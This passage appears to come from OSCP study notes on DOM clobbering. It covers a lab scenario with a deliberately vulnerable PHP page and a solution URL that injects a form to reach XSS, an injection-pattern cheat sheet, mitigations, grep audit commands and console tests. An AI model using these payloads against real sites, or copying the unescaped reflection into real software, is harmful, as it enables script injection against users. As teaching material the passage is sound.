9.3 Scenario 3: Full XSS Chain
Challenge: Achieve XSS through DOM clobbering.
<!DOCTYPE html>
<html>
<body>
<div id="reflection"><?php echo $_GET['x']; ?></div>
<script>
var template = {
content: "<h1>Welcome</h1>"
};
function render() {
document.getElementById("app").innerHTML = template.content;
}
render();
</script>
<div id="app"></div>
</body>
</html>
Solution:
URL: ?x=<form id="template"><input name="content" value="<script>alert('XSS')</script>"></form>
Result:
- window.template is clobbered by <form id="template">
- template.content resolves to <input name="content" value="<script>alert('XSS')</script>">
- When assigned to innerHTML, the input element's string representation is used
- In some browsers, this may execute the script tag
Note: Modern browsers may prevent this specific chain due to additional protections.
The exact behavior depends on browser version and implementation.
10. Reference Cheat Sheet
10.1 Quick Reference Table
| Technique | Injection Pattern | Target | Impact |
|---|---|---|---|
| ID Clobbering | <div id="varname"> |
Global var |
Variable overwrite |
| Name Clobbering | <a name="varname"> |
Global var |
Variable overwrite |
| Nested Clobbering | <form id="obj"><input name="prop"> |
Object properties | Property overwrite |
| Form Clobbering | <form id="obj"><input name="key" value="val"> |
Config objects | Config hijacking |
| NodeList Clobbering | Multiple <a name="arr"> |
Array variables | Array replacement |
10.2 Clobberable vs. Protected Properties
| Property | Clobberable? | Notes |
|---|---|---|
Custom var declarations |
Yes | Primary target |
window.location |
No | Protected in modern browsers |
window.document |
No | Protected |
window.navigator |
No | Protected |
window.screen |
No | Protected |
window.history |
No | Protected |
window.console |
No | Protected |
let/const declarations |
No | Block-scoped |
| Module variables | No | Module-scoped |
10.3 Mitigation Quick Checklist
□ Replace all global `var` with `let` or `const`
□ Wrap application code in IIFE
□ Use ES Modules where possible
□ Enable "use strict" mode
□ Never reflect user input in id/name attributes
□ Sanitize all HTML attribute values
□ Implement CSP headers
□ Use Shadow DOM for component isolation
□ Audit global scope for accidental leaks
□ Test with DOM clobbering detection tools
10.4 Testing Commands
# Search for vulnerable patterns in JavaScript files
grep -rn "^var " --include="*.js" .
grep -rn "window\." --include="*.js" .
# Search for reflected id/name attributes in server-side code
grep -rn 'id=.*\$_' --include="*.php" .
grep -rn 'name=.*\$_' --include="*.php" .
# Search for innerHTML usage (potential XSS sink)
grep -rn "innerHTML" --include="*.js" .
grep -rn "document.write" --include="*.js" .
grep -rn "eval(" --include="*.js" .
10.5 Browser Console Quick Tests
// Test if a variable is clobberable
console.log(window.targetVar);
// If it returns a DOM element, it's been clobbered
// Check all window properties that are DOM elements
Object.keys(window).filter(key =>
window[key] instanceof Element
).forEach(key => console.log(key, window[key]));
// Test clobbering manually
var testDiv = document.createElement("div");
testDiv.id = "targetVar";
document.body.appendChild(testDiv);
console.log(window.targetVar); // Should be the div if vulnerable
document.body.removeChild(testDiv);
Summary
DOM Clobbering is a sophisticated client-side attack technique that exploits the browser’s legacy behavior of exposing HTML element id and name attributes as global JavaScript variables. While not directly executable like XSS, it serves as a powerful enabling technique that can:
- Overwrite configuration objects to redirect API calls or enable debug modes
- Break application logic by replacing expected values with DOM elements
- Chain to XSS when combined with dangerous sinks like
innerHTML,eval(), ordocument.write() - Exfiltrate sensitive data by redirecting requests to attacker-controlled endpoints
The primary defense is avoiding global scope through modern JavaScript practices: using let/const instead of var, wrapping code in IIFEs or ES modules, and enabling strict mode. Input sanitization and CSP provide additional layers of protection.
For OSCP exam preparation, focus on understanding the concept and mechanics of DOM clobbering, recognizing vulnerable patterns in application code, and knowing how it relates to broader XSS attack chains. While rarely tested directly, this knowledge strengthens your overall client-side security assessment capabilities.
Last Updated: 2026-09-01 Topic: DOM Clobbering | Chapter 08: Client-Side Attacks | OSCP Study Materials